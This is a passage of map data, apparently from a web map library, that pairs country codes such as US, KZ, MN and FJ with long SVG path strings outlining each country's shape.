1.4,-0.42 -3.26,-0.53 -0.61,0.12 z m -7.07,0.64 c -1.13,-0.1 -1.93,0.41 -4.02,0.38 -1.04,0.42 3.23,0.58 4.02,-0.38 z m -12.74,3.08 c 0.69,-0.98 -1.04,0.02 -1.39,0.06 0.27,-0.41 -1.24,1.38 1.39,-0.06 z m -5.05,1.12 c 0.92,-0.07 -1.34,0.93 1.02,0.37 3.71,-0.07 0.34,-1.81 -0.11,-0.84 1.43,0.21 -2.1,-0.12 -0.91,0.47 z m -4.35,1.58 c -0.36,0.38 -1.74,1.62 0.24,0.71 -0.45,1.34 5.44,-1.86 1.36,-0.69 -0.61,1.24 0,-1.89 -1.16,-0.11 l 0.23,0.1 z m -1.49,0.33 c 3.52,-0.83 -1.42,-1.19 -0.91,-0.12 1.28,-0.2 1.46,-0.52 0.91,0.12 z m -3.59,1.17 c 0.03,0.68 2.78,-0.85 0.05,-0.35 0.45,0.42 -0.75,0.04 -0.05,0.35 z m 20,-26.23 c 1.3,0.65 6.35,-1.22 4.36,0.4 1.8,0.27 5.88,-1.01 6.15,-1.4 -0.88,-0.35 -5.46,0.11 -3.2,-0.94 -1.86,-0.19 -5.96,-0.41 -6.72,0.29 2.63,0.3 0.29,1.07 -0.6,1.64 z m -6.29,-6.99 c -3.2,0.5 3.52,1.05 4.83,0.56 1.93,-0.27 7.79,0.02 2.96,0.31 -1.05,-0.01 -3.58,-0.05 -1.09,0.23 -1.45,-0.02 -5.49,-0.27 -2.02,0.45 3.57,0.43 6.3,-0.3 8.6,0.78 3.9,-0.08 6.43,-0.98 9.59,-1.82 2.52,-1.37 -3.26,-1 -4.41,-1.29 -3,-0.64 -3.17,0.19 -6.22,0.31 1.44,-1.86 -2.02,-0.77 -2.25,0.49 -1.74,-0.8 -1.66,-0.54 -4.15,-0.9 -1.83,-0.94 -3.16,-0.83 -2.83,0.02 -2.44,-0.38 -0.91,0.06 -1,0.53 -1.9,-0.54 -4.83,-0.28 -3.25,0.09 0.33,0.22 2.75,0.09 1.23,0.24 z m -20.56,2.17 c 1.43,0.89 1.1,-0.97 2.49,0 -2.27,0.33 1.45,0.91 -1.14,0.67 -3.69,0.56 6.63,1.44 1.44,1.39 1.84,1.17 7.55,0.74 6.04,-0.63 1.64,0.22 3.04,-0.75 2.54,0.55 2.3,0.1 4.53,-1.15 3.41,0.1 3.93,0.29 -3.43,-0.03 -4.61,0.87 -1.97,0.48 -2.26,-0.11 -3.99,0.62 3.09,1.01 6.56,-0.07 9.79,-0.05 0.24,1 -6.32,0.02 -5.92,0.87 1.73,-0.02 5.43,0.79 1.74,0.25 -1.88,-0.45 -6.66,0.09 -2.25,1.16 1.45,0.41 7.32,0.15 3.01,0.52 -1.21,0.56 4.19,1.65 3.74,0.18 1.03,-1.41 3.41,-2.01 4.35,-3.3 1.63,-0.1 0.89,-1.78 3.66,-1.56 1.49,0.13 6.64,-0.54 2.61,-0.84 -2.92,-0.48 -5.6,-0.41 -6.96,-1.93 -0.79,0.3 -3.04,0.67 -1.18,-0.4 -3.75,-1.72 -6.96,10e-4 -4.33,2.1 -1.55,-0.66 -5.56,-3.79 -6.28,-0.8 -1.96,-0.68 -2.15,-0.85 -4.29,-0.82 1.67,-0.05 6.21,-0.84 1.93,-0.68 -2.82,0.37 -4.57,-0.1 -6.49,0.69 0.91,-0.1 -1.62,0.23 0.7,1.03 z m 2.37,2.41 c -1.6,-0.8 -6.01,-2.2 -2.23,-0.37 0.19,0.02 3.62,1.26 2.23,0.37 z",MD:"m 545.77,99.88 c 2.16,-1.57 4.18,0.57 5.96,0.53 1.43,0.26 2.23,2.93 1.96,2.89 2.88,1.16 0.75,2.71 -0.8,1.4 -0.73,1.37 -3.41,5.07 -3.05,1.08 1.27,-2.27 -2.61,-4.76 -4.07,-5.9 z",LB:"m 569.26,142.56 c 0.93,-1.57 2.6,-6.43 4.07,-3.4 -0.89,1.41 -2.1,3.21 -4.07,3.4 z",NP:"m 694.09,154.14 c 0.44,-1.98 1.75,-3.37 3.45,-3.38 2.26,-2 5.02,3.31 7.74,2.77 1.15,2.11 3.46,1.87 4.73,2.94 1.1,0.54 2.98,0.38 5.37,0.84 1.99,-0.52 0.5,2.96 0.69,3.95 -2.76,0.44 -5.03,-0.77 -7.68,-0.9 -2.02,-2.49 -4.77,-1.25 -7.1,-2.59 -2.56,-0.64 -5.72,-2.18 -7.2,-3.63 z",ER:"m 572.96,193.02 c 1.46,-3.19 1.28,-6.2 5.2,-7.02 2.35,-1.7 2.05,5.09 3.76,6.81 0.36,0.9 0.66,-2.05 1.19,0.41 2.35,0.45 4.82,3.36 6.16,4.47 1.19,1.37 3.37,3.11 0.05,2.85 -2.3,-2.41 -4.43,-6.15 -8.29,-5.72 -0.95,-0.46 -2.9,0.78 -4,-1.06 -0.53,1.56 -0.73,2.6 -2.01,1.23 -1.79,1.42 -2.11,-0.3 -2.05,-1.98 z",
US:"m 39.4,68.72 c 2.12,0 5.18,-0.56 5.03,-1.27 -1.37,0.24 -4.62,-0.06 -5.03,1.27 z m -2.83,3.6 c 1.56,1.95 3.92,0.16 0.44,-0.05 z m 93.97,55.56 c -2.1,-1.68 -2.06,-4.52 -3.45,-6.43 1.29,-1.2 -0.18,-3.87 -0.51,-5.8 0.03,-2.69 1.18,-2.04 1.07,-4.81 0.64,-2.31 0.08,-5.98 2.07,-5.16 -1.83,-0.29 -2.6,-0.64 -1.21,-1.37 -2.05,-0.06 0.71,-1.42 -0.98,-0.82 -0.61,-1.79 -3.25,-5.33 0.69,-3.45 2.66,0.08 4.48,0.44 2.04,2.21 0.91,0.69 0.04,-1.37 1.69,-1.13 -0.1,1.81 -0.8,1.18 -1.33,2.02 1.29,0.4 2.83,-2.18 1.4,-3.55 -1.06,-0.23 0.75,-0.82 -0.68,-1.65 4.14,-0.26 8.43,-0.05 12.63,-0.12 21.22,0 42.45,0 63.67,0 0.91,-2.58 1.69,1.99 3.95,1.21 2.54,-0.61 3.95,0.79 6.01,1.34 1.49,-0.47 5.36,-0.02 5.2,0.42 -2.03,0.48 -5.87,2.25 -6.06,3.48 1.45,0.16 3.57,-1.22 3.22,0.14 2.55,0.31 6.38,-2.29 7.03,-0.57 2.84,1.09 5.88,0.96 9.07,0.22 -0.19,1.54 2.5,0.4 2.58,1.82 -0.46,1.52 -5.21,-0.99 -7.18,1.42 0.41,-1.34 -2.3,-0.14 -2.59,1.75 -1.95,1.22 -0.74,1.2 0.68,0.46 -0.91,2.73 -2.75,6.57 -0.09,8.99 5,-0.33 1.65,-5.17 3.02,-7.5 -0.02,-1.89 2.7,-2.63 2.22,-1.81 -0.32,1.22 1.23,-2.01 1.37,-1.35 0.55,-2.08 6.21,0.31 4.66,3 -1.91,0.84 -2,3.23 0.26,1.15 2.45,-1.08 2.74,4.46 0.99,4.09 -1.5,1.24 -2.29,2.82 0.36,2.78 -1.13,0.65 4.19,-0.03 5.39,-1.1 2.29,-0.52 5.75,-1.94 5.26,-3.92 2.22,-0.25 8.31,0.81 7.45,-2.17 0.96,-2.37 6.22,-3.12 9.36,-2.62 3.05,0.22 5.28,-0.17 7.03,-2.44 0.47,-2 2.25,-5.46 4.42,-3.82 3.84,-1.28 1.87,4.47 3.91,5.86 2.36,0.89 -1,1.61 -1.92,2.03 -1.09,-0.48 -1.77,0.7 -2.37,-0.16 -1.62,2.63 -2.84,0.88 -2.92,1.85 -0.57,-0.52 -2.76,2.76 -2.77,3.72 -0.5,1.65 3.15,2.57 2.26,1.27 1.44,2.18 -2.44,0.77 -2.26,1.3 -1.36,-0.01 -0.81,-0.79 -2.35,0.69 -1.85,-0.55 -5.89,1.74 -5.94,0.93 0.08,-1.86 -0.43,1.42 -0.64,1.54 1.07,0.31 0.31,2.04 -0.01,1.54 -0.9,2.28 -2.37,3.6 -3.89,0.92 2.26,-2.12 -1.68,0.74 0.9,2.02 1.32,1.16 -1.51,4.32 -2.25,4.43 1.62,-2.59 -0.02,-2.12 -0.66,-3.71 1.06,0.17 -0.7,-0.53 0.22,-0.82 -1.12,-0.18 2.34,-2.82 0.01,-1.31 -1.19,0.08 -0.93,0.86 -0.68,2.93 -1.98,-2.35 1.7,2.29 -1.13,-0.09 -2.04,0.95 0.34,-3.01 -1.33,-0.26 1.01,0.12 4.53,3.02 1.45,1.58 -0.68,-0.81 3.05,3 0.07,1.22 2.49,1.99 0.13,0.79 -1.37,0.35 2.31,1.44 3.97,0.8 4.64,4.16 -1.47,-3.21 -0.73,-1.15 -1.05,-1.15 -0.61,0.62 -1.78,0.54 -2.16,0.44 0.48,0.52 2.54,0.87 2.11,0.85 2.07,-0.15 -1.61,1.89 -1.63,1.17 -2.95,-1.31 2.28,1.44 -1.22,0.87 1.2,0.56 2.95,0.18 0.85,1.03 -3.03,-0.38 -2.37,2.59 -5.29,2.47 -1.86,1.13 -1.92,2.25 -3.66,3.11 -2.2,1.15 -1.84,0.89 -2.24,1.35 -0.94,1.12 -1.34,1.62 -1.66,2.36 -0.67,0.46 -0.34,3.97 0.86,5.96 1.3,1.56 1.85,5.71 0.94,2.06 -0.69,0.74 2.79,4.86 1.56,7.37 0.64,2.75 -3.75,2.38 -2.46,1.67 -1.2,-0.96 -3.12,-3.38 -2.47,-3.59 -0.87,0.38 -0.31,-1.65 -1.14,-0.72 -1.58,-0.99 -0.03,-3.68 -0.91,-2.8 -1.33,1.64 1.35,-4.09 -1.62,-4.2 -1.3,-3.9 -4.43,-0.17 -5.84,-1.39 -1,-1.43 -0.58,-0.62 -3.17,-1.53 2.66,-0.46 -3.13,0.42 -1.44,-0.27 -0.33,-0.07 -1.32,0.56 -1.31,0.44 -1.8,1.72 -0.82,-2.43 -2.08,-0.11 -2.05,0.26 -4.43,0.11 -5.98,0.62 1.83,0.12 1.44,0.49 2.23,0.54 1.48,0.19 -1.78,1.62 1.17,1.98 0.42,2.21 -1.79,-1.1 -2.75,-0.55 0.67,1.59 -3.11,0.78 -3.19,-0.15 -1.68,-1.66 -4.03,1.09 -5.44,-1.14 0.53,-0.41 -2.14,1.69 -1.44,-0.17 0.3,1.13 -4.08,2.03 -1.94,1.22 -0.53,-0.07 -2.13,-1.1 -1,0.52 -2.02,1.83 -3.54,2.46 -3.8,2.22 -1.35,-0.93 -0.48,0.94 -1.72,0.68 -1.48,0.86 -0.03,0.86 -1.96,1.41 2.07,1.13 -2.37,1.66 0.19,1.61 -1.17,1.85 2.48,5.04 -1.08,3.42 -4.63,0.08 -4.65,-5.18 -7.45,-7.69 -1.23,-3.51 -6.12,-3.84 -7.55,-0.56 -3.97,-0.74 -4.02,-5.1 -7.47,-6.6 -2.22,-2.17 -5.82,-1.46 -7.53,0.12 -3.92,0.02 -7.79,0.07 -11.46,-1.56 -4.73,-1.54 -6.98,-3.2 -12.12,-1.91 -1.1,-3.53 -5.01,-4.7 -8.26,-5.41 -1.69,-0.62 -1.71,-3.37 -3.9,-4.43 -1.73,-0.97 0.03,-2.81 -2.33,-3.35 -1.29,-2.34 0.66,-0.68 0.52,-1.17 0.25,-2.59 -2,0.3 -2.1,-1.48 0.73,0.67 -0.18,-0.45 -0.31,-0.41 z M 104.4,80.81 c 0.33,1.25 2.04,0.65 1.2,-0.13 -0.11,-0.61 -0.94,-0.94 -1.29,-1.14 -0.46,-0.02 2.06,0.19 -0.19,-1.1 -0.89,-0.84 -3.75,-1.73 -2.38,-0.68 -2.16,0.77 1.6,-0.15 0.42,1.52 1.05,-0.32 1.26,0.87 0.18,0.86 0.69,0.15 1.7,0.05 2.06,0.68 z m 0.1,-3.67 c -2.34,0.7 2.58,1.37 -0.2,0.35 l 0.21,-0.12 z m -3.29,-0.28 c 2.41,-0.24 -0.19,-1.07 1.79,-0.84 -2.17,-1.81 -3.48,-1.06 -1.79,0.84 z m -7.89,-4.1 c 1.12,1.18 2.64,1.85 1.61,0.35 1.83,1.35 4.07,0.41 1.03,-0.14 -1.4,-0.69 2.07,0.54 1.38,-0.34 -1.51,-0.94 -1.71,0.28 -2.26,-0.83 -2,-0.35 -1.08,1.03 -1.29,0.8 -0.66,-0.5 -1.34,-0.24 -0.47,0.15 z m 6.37,5.31 c -0.01,-0.77 1.79,-2.12 0.45,-1.96 -1.55,-1.36 -0.65,0.17 -0.73,1.05 0.26,-0.11 -0.42,0.78 0.28,0.91 z m -2.69,-1.66 c 0.4,-1.03 1.59,2.83 1.3,-0.2 -0.84,-2.96 -3.62,-2.69 -1.9,-0.7 -0.6,0.36 1.04,0.37 0.6,0.89 z M 0.07,57.92 c -0.4,-1.9 5.96,0.26 2.01,-0.03 -1.59,0.66 -0.57,0.63 -2.01,0.03 z M 20.67,80.91 c -1.34,-0.5 -1.14,0.58 -1.77,0.11 1.22,-0.83 4.87,-3.75 6.46,-2.6 0.35,0.4 2.71,0.41 1.19,-0.48 2.49,-2.14 5.1,-1.84 7.04,-4.16 2.94,1.25 -1.15,-2.12 2.2,-1.81 -3.58,-0.13 3.7,-4.04 -0.4,-1.86 -1.86,1.57 -4.72,-0.66 -2.12,-0.48 -2.6,-1.73 -1.27,3.51 -3.8,0.64 -1.82,-0.72 -4.13,-0.54 -6.71,0.48 -0.61,-0.02 1.89,-1.72 -0.33,-1.64 1.49,-1.38 -2.1,-3.72 -0.13,-4.18 -1.65,0.26 -0.43,2.97 -3.37,2.31 -2.26,0.51 -4.6,-1.57 -5.32,-2.26 0.81,-1.41 2.91,0.03 2.49,0.1 0.64,-0.75 3.62,0.47 1.28,-0.66 1.91,-0.57 -5.18,0.24 -3.21,-0.77 -1.12,-1.18 -0.77,0.65 -2.64,-0.74 1.02,-0.52 -2.33,-0.86 0.32,-0.9 -0.94,-0.56 2.18,-3.04 3.26,-2.16 -1.33,-0.27 1.28,-1.29 -0.53,-0.44 -0.88,-1.58 1.84,-0.74 0.88,-1.63 2.88,-0.58 1.38,1.17 3.97,0.24 1.37,-1.94 7.74,0.22 5.33,-3.41 -2.71,-0.4 2.89,-0.61 0.23,-1.59 -0.7,0.36 -2.98,0.31 -4.67,1.54 -0.62,-0.83 -2.2,-1.05 -0.89,-0.26 -2.9,-1.25 -7.61,1.13 -9.42,-1.3 -3.9,-1.57 3.76,-0.3 -0.4,-1.33 -2.08,0.34 -5.88,-1.45 -2.97,-0.96 1.88,-0.94 3.67,-1.4 5.92,-1.25 -2.66,-0.56 6.5,-2.5 4.29,-0.4 0.32,0.68 5.32,1.26 6.89,0.05 3.27,0.23 -1.44,-0.02 -1.57,-0.95 -3.08,-1.31 0.04,-0.48 1.12,0.3 1.36,0.43 6.18,0.27 2.37,-0.36 -0.73,0.47 -4.09,0.17 -2.23,-0.92 -2.45,-1.03 -4.35,0.94 -7.06,-1.7 -1.65,-1.27 -6.85,-1.73 -6.54,-2.33 2,-2.26 7.61,-1.14 9.13,-2.59 2.26,-3.26 5.43,-2.28 8.87,-3.57 -0.37,1.11 0.32,0.47 1.97,0.2 -3.35,0.42 -1.08,-1.3 -0.36,-0.75 4.21,1.35 7.14,-3.3 10.49,-0.78 -3.14,1.51 0.55,-0.02 1.71,-0.13 1.84,0.3 0.02,1.06 2.4,0.87 2.04,-1.23 7.42,0.57 4.26,0.68 2.93,0.38 5.81,0.31 9.47,0.19 3.54,0.82 7.19,0.78 10.75,1.26 3.13,0.64 5.69,-1.02 8.99,0.57 5.49,-0.45 2.11,5.94 3.07,9.47 0.65,5.66 -0.39,11.42 0.14,17.05 1.93,1.51 5.09,-0.95 5.87,1.33 2.45,1.47 5.47,4.28 7.14,0.99 3.25,-1.67 4.58,2.07 7.43,2.95 2.73,2.04 3.75,5.53 7.2,5.96 2.91,-0.05 4.17,3.88 1.06,4.73 -0.43,-0.14 -1.2,-0.77 0.58,-1.57 -1,1.16 -2.73,-0.19 -0.38,0.05 -1.54,-0.37 -0.74,-3.32 -2.81,-1.78 0.23,-0.76 -2.33,2.61 -1.14,-0.16 0.25,-1.29 2,-0.1 -0.16,-1 0.54,1.59 -2.17,-1.07 -0.19,-0.1 -1.39,-1.21 -1.71,-1.91 -3.82,-2.35 1.92,-0.47 -0.2,-0.37 -0.38,-1.4 2.86,1.19 -1.63,-1.11 1.31,-0.45 -2.03,-0.04 -1.48,-0.27 -2.63,-1.03 2.12,-1.23 -2.64,0.72 -2.56,-1.52 -1.39,-3.25 -1.37,-0.67 -0.21,1.37 -0.78,-0.06 -3.5,-0.43 -1.91,-1.68 -1.16,0.41 -3.82,-0.64 -3.15,0.07 1.24,0.19 3.5,1.5 1.06,1.36 -0.35,0.97 -4.8,-1.66 -5.23,-2.26 -1.97,0.64 -4.62,-2.08 -2.4,-1.81 -0.08,0.76 2.12,-0.31 -0.26,-0.45 -2.5,1.73 -4.67,-0.19 -6.26,0.02 -2.92,-0.98 -7.63,1.05 -8.66,-1.54 1.63,-1.19 -3.96,1.85 -2.33,-0.39 -1.99,0.22 -0.65,-0.38 -2.67,-0.13 3.29,-0.61 -2.25,-0.23 0.86,-1.07 -1.41,0.17 -3.88,0.35 -3.56,0.28 -0.9,1.2 -1.15,-0.87 -0.97,-0.57 -0.84,0.92 -2.12,-0.02 -0.89,0.61 -3.1,0.9 1.81,0.48 -1.22,1.4 3.19,-1.11 0.67,0.89 1.28,0.62 -0.36,1.79 -3.91,0.06 -3.91,1.21 -0.34,-0.05 -2.06,1.11 -2.04,0.69 -1.52,0.4 -2.66,1.72 -4.47,0.64 1.73,-0.82 3.58,-1.19 0.78,-0.91 -1.15,-0.94 2.13,-1.74 0.78,-2.95 1.59,-1.26 6.46,-0.37 6.08,-0.55 -2.11,0 -3.05,-1.57 -0.34,-1.59 -2.86,0.34 -5.31,0.77 -7.89,2.48 -0.42,2.05 -3.85,-0.08 -1.12,1.68 -1.77,0.87 -1.55,0.52 -3.27,1.61 -2.15,0.5 -0.73,0.95 1.12,1.69 -3.04,0.92 -1.89,2.07 -4.37,2.23 -2.09,1.25 -4.42,1.37 -4.9,2.88 -2.63,0.77 -2.93,1.18 -5.09,1.68 -0.74,0.59 1.6,0.19 0.03,1.2 0.26,-0.8 -2.29,0.3 -2.85,0.95 -0.77,-0.7 -2.72,0.37 -4.25,0.69 -2.45,0.36 1.11,-0.77 -1.44,-0.56 -0.68,2 -2.34,1.34 -2.73,1.35 0.35,0.11 0.1,0.54 -0.14,0.36 z m 26.99,-8.45 c 1.93,-0.85 3.42,-0.67 0.41,-1.24 -0.19,0.63 -2.14,0.53 -0.41,1.24 z m -2.98,3.04 c -0.67,1.22 1.57,-0.57 1.01,-0.48 1.9,-0.39 0.78,-0.73 2.64,-0.74 -2.75,-0.74 2.92,0.27 0.56,-1.22 -0.86,-0.19 -2.3,-0.51 -2.04,-0.25 -1.04,0.87 -2.82,-0.49 -1.47,0.92 -0.85,0.3 0.26,0.88 -1.18,-0.24 -3.45,-0.69 0.16,2.92 -0.51,1.47 -1.1,0.14 2.13,-0.32 0.99,0.54 z M 8.31,66.85 c 1.35,0.96 6.08,0.52 3.05,-1.04 -0.44,0.04 -5.38,0.22 -3.05,1.04 z m 17.8,12.93 c -1.12,1.49 1.56,0.1 0,0 z m 36.12,-12.93 c -0.52,1.89 3.71,-2.69 0.58,-0.16 z M 14.45,82.02 c 0.46,1.06 5.29,-0.53 4.55,-0.44 -0.89,-1.32 -3.62,-0.52 -4.55,0.44 z m -7.91,3.79 c 2.65,-0.21 5.15,-1.86 2.83,-2.13 -2.47,0.5 1.02,0.87 -1.38,1.1 1.05,0.67 -3.21,0.78 -1.44,1.03 z M 106.8,80.01 c 0.83,-0.58 0.7,-0.69 0.73,0.13 0.87,0.7 2,-1.92 -0.5,-1.82 0.13,0.39 -0.84,0.05 -0.23,1.69 z m -8.44,-6.19 c 1.08,-0.61 -0.74,2.49 1.17,0.71 1.96,0.03 -1.92,-3.63 0.88,-0.96 -0.99,-2.16 -4.33,-3.14 -2.05,0.25 z m 881.51,16.69 c -0.15,-1.56 3.37,-0.74 0,0 z m 16.68,-33.32 c -2,1.09 -3.57,-1.54 -0.74,-0.51 1.3,-0.8 4.62,0.32 2.98,0.96 -0.08,-0.58 -3.3,-0.68 -2.25,-0.45 z m -10,31.78 c -3.35,0.61 -0.63,0.14 1.28,0.03 0.08,-1.38 -0.06,-0.71 -1.28,-0.03 z m -8.59,1.35 c 2.07,-0.17 2.04,-1.3 0,0 z m -0.77,0.17 c 2.08,-1.56 -1.65,-0.91 0,0 z m -25.36,-3.25 c 3.52,-0.32 -2.58,-1.27 -0.45,-0.18 l 0.19,0.1 z M 40.21,182.25 c 3.59,-0.27 1.71,-4.09 -0.35,-3.14 -0.51,0.81 -0.55,2.33 0.35,3.14 z m -1.97,-4.52 c 3.2,-0.59 -2.98,-2.16 0,0 z M 227.78,102.47 c 1.48,-2.16 -4.13,2.08 0,0 z m 40.46,18.76 c -2.1,0.97 -1.64,-1 1.1,-0.77 1.53,-0.1 2.19,-1.01 1.41,0.06 4.61,-1.37 -1.64,1.1 -2.51,0.71 z",KZ:"m 635.48,106.92 c 0.85,0.58 0.85,1.1 1.4,0.98 -0.06,1.45 -2.75,-0.73 -1.37,-0.98 m -34.27,-8.19 c 1.87,-1.3 -0.29,-2.91 1.88,-4.33 0.77,-2.08 4.91,3.38 3.99,-0.56 -0.22,-1.67 5.03,-2.02 5.66,-3.84 2.5,1.26 3.81,-0.22 6.2,0.77 2.81,-0.79 4.79,4.77 4.62,1.32 2.54,2.56 4.49,-0.52 7.02,-0.04 1.56,0.8 3.36,-1.01 4.84,0.91 2.25,1.26 2.97,-1.12 5.37,0.13 4.15,-1.28 0.43,-2.62 -1.75,-3.35 -2.3,-0.64 4.55,-0.85 1.32,-2.37 0.62,-1.47 6.13,-0.31 2.29,-1.49 -2.87,-0.18 1.71,-1.17 -1.18,-0.99 -1.25,-1.99 3.47,-0.56 5.06,-1.45 2.11,-0.76 5.14,-0.05 6.85,-1.43 3.21,-0.32 6.7,-0.54 9,-1.89 1.36,-0.49 4.81,-0.11 6.37,0.69 0.83,1.68 -0.1,3.23 2.83,2.23 0.89,-0.92 1.32,1.48 1.88,0.55 -0.43,-0.19 5.25,-0.11 1.72,1.04 2.26,1.53 5.58,-1.12 8.38,-1.86 2.56,-0.65 0.87,0.29 0.7,0.89 3.19,1.36 5.73,3.73 7.7,6.55 0.84,2.51 2.64,3.17 3.86,1.09 1.75,1.5 4.49,2.17 7.47,0.82 2.83,1.04 4.28,4.83 7.79,4.13 1.77,-1.65 1.23,0.86 3.1,1.28 -2.05,-0.27 -2.18,2.4 -4.57,2.28 0.3,1.93 -0.29,4.78 -2.86,3.6 -2.35,0.22 -5.16,-1.75 -5.54,1.95 -1.78,1.45 -0.09,2.31 -0.4,3.3 -2.16,-0.69 -5.75,-0.33 -7.13,0.85 2.3,-0.22 0.81,3.12 2.35,4.62 -1.09,0.68 -1.69,0.94 -1.55,2.8 -3.23,-2.28 -7.38,-2.07 -11.24,-2.07 -2.43,1.3 -7.39,-3.12 -7.37,1.39 -2.92,-1.13 -6.59,-1.72 -8.04,1.07 -1.93,0.67 -5.37,1.79 -5.58,4.09 -1.83,-0.48 -1.91,-2.53 -4.49,-1.42 -1.63,-0.37 -1,-2.74 -2.74,-3.09 1.03,-2.29 -1.64,-3.09 -3.39,-4.11 -2.22,0.8 -4.63,-0.29 -6.91,0.43 -2.26,-0.9 -5.8,-3.2 -5.06,-5.65 -2.74,-0.28 -1.35,-0.29 -0.6,-0.7 -0.37,-0.54 0.4,-0.87 -1.21,-0.94 -0.69,-2.11 -0.39,2.46 -1.53,0.68 -1.61,-0.35 -2.77,1.73 -5.65,1.57 -5.86,-0.35 -2.77,6.16 -3.42,9.74 -0.79,4.85 -4.39,-3.89 -7.64,-1 -1.94,1.39 -3.02,1.34 -1.61,-1.03 0.38,-0.93 -3.8,-0.84 -3.84,-2.55 -0.49,-1.71 -5.18,-3.45 -1.17,-3.16 2.17,0.77 1.7,0.06 0.4,-0.86 0.58,-2.69 6.52,-0.37 5.37,-1.44 -0.75,-0.8 1.98,-4.85 -1.49,-4.23 -2.7,-0.43 -5.14,-0.39 -7.64,1.08 -0.69,-0.24 -2.03,1.33 -3.14,-0.52 3.21,0.38 -1.77,-4.38 -3.24,-2.86 -0.39,0.14 -1.02,-0.86 -0.39,-0.93 -0.16,-0.54 -0.54,-0.79 -1.12,-0.79 -0.49,-0.05 -0.8,-0.43 -0.51,-0.89 z",SZ:"m 557.32,310.75 c 1.26,2.66 4.82,1.23 3.68,-1.1 -1.1,-2.6 -3.34,-0.91 -3.68,1.1 z",UZ:"m 634.94,107.63 c 2.49,0.38 1.12,2.32 0.89,2.72 -1.58,0.97 -0.69,-0.89 -0.98,-0.64 1.01,-1.7 -0.67,0.41 0.09,-2.08 z m -7.78,1.44 c 1.67,-0.03 7.15,-2.58 6.73,-0.72 -1.66,2.59 1.05,2.25 2.03,3.18 0.97,0.87 3.67,-0.43 4.43,-1.27 2.09,2.38 4.37,3.47 7.5,2.72 2.67,0.25 5.12,-0.95 6.82,1.84 1.29,-0.11 -0.59,3.17 1.78,2.97 -0.51,3.95 4.61,0.47 4.78,3.45 1.45,-0.04 2.7,-3.27 5.3,-3.4 1.18,-1.19 4.61,-1.27 1.45,-0.08 -3.27,0.81 2.64,3.36 2.68,0.97 0.4,2 6,1.64 2.49,2.82 -1.22,0.94 -3.79,1.37 -6.13,0.45 2.54,-1.53 -0.46,-1.91 -1.88,-0.75 -1.91,-1.12 -0.27,2.46 -2.47,1.25 0.35,-0.03 0.17,2.48 -2.73,1.7 -3.17,1.35 2.25,1.41 0.93,3.28 1.64,1.79 -1.59,4.69 -3.64,3.06 -1.43,-0.27 0.25,-2.77 -2.4,-2.43 -3.38,-1.17 -7.08,-2.94 -9.81,-5.29 -0.68,-3.64 -3.37,-3.1 -6.13,-3.51 0.41,-2.53 -2.07,-2.53 -3.94,-3.75 -2.78,-0.67 0.42,1.77 -1.96,0.57 -0.85,1.13 -3.88,1.11 -2.72,3.36 -5.77,1.58 -1.93,-7.55 -3.09,-10.4 z",MN:"m 715.47,97.3 c 2.21,-1.36 4.58,-0.74 6.08,-2.4 2.56,-0.79 5.4,-2.44 7.78,-2.08 1.76,0.76 4.35,0.26 5.77,2.15 3.17,-0.53 7.33,2.18 9.44,-1.13 -2.94,-2.15 1.68,-5.81 3.83,-4.23 2.9,1.17 7.1,0.22 7.76,3.94 3.36,2.26 6.88,-0.66 10.43,0.34 3.49,0.12 5.14,3.12 8.55,3.04 3.6,0.7 7.68,-0.1 10.9,-1.49 3.04,-2.41 6.37,0.05 9.52,0 -1.05,1.66 -1.83,3.52 -3.06,5.03 1.09,1.42 4.03,0.25 5.64,0.57 2.34,-2.62 9.85,4.62 3.86,3.15 -3.45,-0.03 -6.71,0.89 -8.92,3.33 -3.61,-0.16 -6.31,3.89 -9.99,1.24 -2.64,0.18 -2.1,2.81 -0.75,3.9 -3.19,1.47 -5.91,4.43 -9.81,3.6 -3.87,-0.76 -7.6,2.86 -11.05,1.72 -3.6,0.51 -6.48,-2.04 -9.86,-2.18 -3.79,0.03 -7.61,-0.37 -11.42,-0.41 -2.84,-0.96 -3.18,-5.25 -6.83,-5.27 -2.75,-2.39 -8.44,0.46 -9.88,-3.04 2.35,-1.88 -0.41,-6.01 -2.61,-6.12 -1.91,-0.46 -5.47,-1.59 -5.22,-3.38 z",BT:"m 718.13,159.29 c 1.2,-1.82 3.41,-4.27 5.2,-2.5 2.47,-0.34 3.75,1.18 3.95,3.26 -3.04,-0.14 -6.66,1.35 -9.15,-0.76 z",NC:"m 927.62,293.83 c 1.71,1.96 4.72,3.95 6.28,4.45 3.03,0.03 -2.85,-2.47 -3.41,-3.67 -1.14,-0.87 -5.55,-4.18 -2.87,-0.78 z",FJ:"m 971.09,281.12 c -2.23,-0.19 -6.1,3.14 -2.02,1.59 1.31,0.61 2.75,-1.28 0.65,-0.15 0.53,-0.42 0.79,-1.08 1.36,-1.45 z m -5.31,8.4 c 2.08,-0.7 -0.46,-0.63 0,0 z m -1.54,-2.83 c 2.75,1.62 4.33,-1.95 1.39,-2.17 -1.03,-0.23 -3.15,1.74 -1.39,2.17 z",KW:"m 601,153.77 c 0.56,-1.79 3.68,-4.46 4.28,-1.29 -2.6,-0.55 3.37,3.63 -0.75,2.94 -1.1,-0.89 -1.42,-2.21 -3.53,-1.65 z",TL:"m 815.54,262.09 c 2.29,-1.66 1.58,1.43 0.01,-0.01 m 3.21,-0.55 c 0.81,0.53 5.95,-1.08 5.79,-2.43 -1.86,0.72 -6.82,-0.29 -5.79,2.43 z",BS:"m 267.62,176.8 c 0.17,-1.42 3.32,-0.79 0.79,-0.07 z m -8.13,-12.64 c -0.72,-1.44 2.35,2.69 1.06,1.5 0.67,-0.84 -0.6,-1.2 -1.06,-1.5 z m -1.78,-1.31 c -0.33,-0.79 0.35,-3.18 -2.04,-2.86 1.85,-0.39 2.76,1.35 2.04,2.86 z m -1.2,6.06 c 0.21,0.35 -1.09,-1.92 -0.14,-1.27 -0.3,0.42 1.04,-0.31 0.43,1.01 z m -1.5,-4.16 c 3.19,1.57 -1.35,3.32 -0.11,1.1 0.29,-0.29 0.18,-0.76 0.11,-1.1 z",VU:"m 938.23,281.65 c 1.61,-0.58 -1.85,-0.74 0,0 z m -1.79,0.66 c 2.46,-0.54 -2.57,-3.16 -0.26,-0.67 l 0.07,0.35 z m -1.18,-4.14 c -0.37,-0.81 -1.02,0.61 -1.56,-1.17 -0.6,1.6 1.95,4.29 1.56,1.17 z",FK:"m 371.78,390.14 c 1.36,-0.97 -1.93,-2.38 -3.9,-2.41 -3.05,-0.14 0.58,0.28 0.74,0.68 1.16,0.24 2.29,0.94 3.16,1.73 z m -65.58,-7.9 c 1.78,1.15 1.13,-0.67 2.93,-0.17 -1.32,-0.96 3.77,-0.56 2.02,-1.48 0.92,-0.53 